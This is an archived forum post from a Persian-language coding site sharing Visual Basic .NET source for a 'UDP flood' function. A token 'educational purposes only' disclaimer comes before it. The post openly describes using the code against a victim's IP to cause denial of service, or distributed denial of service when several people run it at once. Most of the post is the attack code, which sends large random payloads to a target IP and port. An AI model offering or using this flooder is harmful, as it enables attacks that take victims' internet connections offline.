Parsi Coders

نسخه‌ی کامل: سورس کد udp flooder (وی بی دات نت)
شما در حال مشاهده نسخه آرشیو هستید. برای مشاهده نسخه کامل کلیک کنید.
سورس کد udp flooder (وی بی دات نت)
Visual Basic 2008 - UDP Flood
Function


Disclaimer :
This function is for educational purposes only. I do not permit the use of this
with malicious intent.


This function can be used to udp flood a
victim and potentially cause harm to their internet status (ie. DoS). If you
were to have several people using this function on the same ip (ie. DDoS), your
potential to harm their connection is much higher.

کد:
Imports System.Net
Imports System.Text
Imports
System.Net.Sockets

Public Sub udpFLOOD(ByVal xIPx As String, Optional
ByVal xPORTx

As Integer = 80)
Dim hash As String
Dim r As New
Random
Dim int As Integer

If hash <> "" Then
hash = ""
End
If
For int = 0 To 5000
hash = hash & r.Next(100000000,
999999999)
Next

Dim UDP As New UdpClient
Dim IP As IPAddress
Dim
PORT As Integer
Dim Command As Byte() = New Byte() {}

IP =
IPAddress.Parse(xIPx)
PORT = xPORTx
Command =
Encoding.ASCII.GetBytes(hash)

UDP.Connect(IP, PORT)
UDP.Send(Command,
Command.Length)
End Sub